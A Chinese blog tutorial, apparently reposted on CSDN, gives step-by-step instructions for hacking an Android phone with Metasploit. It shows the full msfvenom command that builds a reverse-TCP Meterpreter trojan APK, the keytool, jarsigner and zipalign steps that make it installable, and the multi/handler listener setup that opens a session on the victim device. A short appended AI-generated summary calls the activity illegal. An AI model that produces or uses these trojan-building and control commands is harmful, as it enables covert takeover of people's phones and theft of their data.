使用Metasploit入侵安卓手机(超详细哦)

本文原创作者:newbie,本文属i春秋原创奖励计划,未经许可禁止转载!

1.环境准备:
Kali2.0(msfVENOM、metasploit)
安卓手机

 

2.利用过程:

使用msfvenom生成apk木马

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=1234 R > /test/newbie.apk

 

P 攻击payload

LHOST = 接收反弹连接主机

LPORT = 接收反弹连接主机的监听端口

然后是路径生成路径

155535dldocllqs000cbwl.png

为木马添加数字签名

使用到的工具:

1.keytools (密钥、证书管理工具)

2.Jarsigner(jar签名、校验工具)

3.Zipalign(APK优化攻击)需安装

首先使用keytools生成创建证书:

 

keytool -genkey -v -keystore apk-trojan-key.keystore -alias newbie -keyalg RSA -keysize 1024 -validity 999

 

-v 显示密钥库中的证书详细信息

-k eystore 指定密钥库的名称

-alias 产生别名

-keyalg 指定密钥的算法(默认为DSA)

-keysize 指定密钥长度

-validity 指定创建的证书有效期多少天(默认90)

155609bvketckto40ecv4t.png

 

然后使用jarsigner进行签名:

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore apk-trojan-key.keystore newbie.apk newbie

 

-verbose 签名/验证时输出详细信息

-sigalg  签名算法的名称

-digestalg 摘要算法的名称

-keystore 密钥库位置

进行签名文件+别名


155638rhczvu2mjm7dihtn.png 

使用-verify对文件签名验证

jarsigner -verify -verbose newbie.apk

 

155713igzew18to4108brb.png

这样就可以把apk发到手机上安装了

不不不,忘了一步

使用Zipalign优化apk,忘掉这一步部分手机会无法安装,比如我的

zipalign -v 4 newbie.apk  newbie1.apk

155756sa6bbg1bxz6u520o.png

 

ok,启动metasploit

依次执行

use exploit/multi/handler 加载攻击模块

set payload android/meterpreter/reverse_tcp  选择要使用的Payload

 

155832b22xukbizu02j440.png

show options 查看需要设置的参数

155927myalttsa2t0uaeaa.png

设置主机ip及端口:

160010y0j6mur16l5986l9.png

exploit执行

160043i4gyfqhw3ik1344z.png

手机运行安装好的木马,这时msf建立了一个会话连接

160132itiofairfh7a7r1o.png

Help一下看我们能做什么

160209t5sum5qu8qahuhus.png

附一张网上淘来的图:

160238vd54u3xhvhmuxy4d.png

 

3.小彩蛋:

肯定会有人问,我要怎么把kali的apk文件移到我手机上呢?

给大家提供一个简单的方法。共享一个文件夹把文件放到文件夹中

具体操作:

mkdir /test 创建要共享的文件夹

chmod 777 -R /test 修改权限

vi /etc/samba/smb.conf 编辑配置文件在末尾加入下面内容

 

[share]

      path =/a/share

      available = yes

      browsealbe = yes

      public= no

      writable = yes

创建一个用户然后启动就好

/etc/init.d/samba restart

转载于:https://my.oschina.net/ichunqiu/blog/869690

  • 30
    点赞
  • 221
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: Metasploit是一款开源的渗透测试框架,可以用于测试和评估计算机系统的安全性。它提供了各种模块和工具,包括用于攻击和渗透测试的payload。在引用的内容中,提到了使用Metasploit来创建一个针对安卓系统的恶意软件。首先,通过msfvenom命令生成一个包含恶意payload的apk文件。然后,使用msfconsole启动Metasploit,并设置payload监听。最后,使用keytool生成一个密钥库文件,用于签名apk文件。这样,当受害者安装并打开这个apk文件时,攻击者就可以获得对受害者设备的控制权。请注意,这种行为是非法的,且违反了用户的隐私权。强烈建议不要从事任何非法活动,包括未经授权的渗透测试。 #### 引用[.reference_title] - *1* *2* [Kali 2021:用Metasploit实验入侵自己的安卓手机](https://blog.csdn.net/weixin_52221158/article/details/125878898)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [使用Metasploit入侵安卓手机(详细哦)](https://blog.csdn.net/chengman3837/article/details/100782583)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值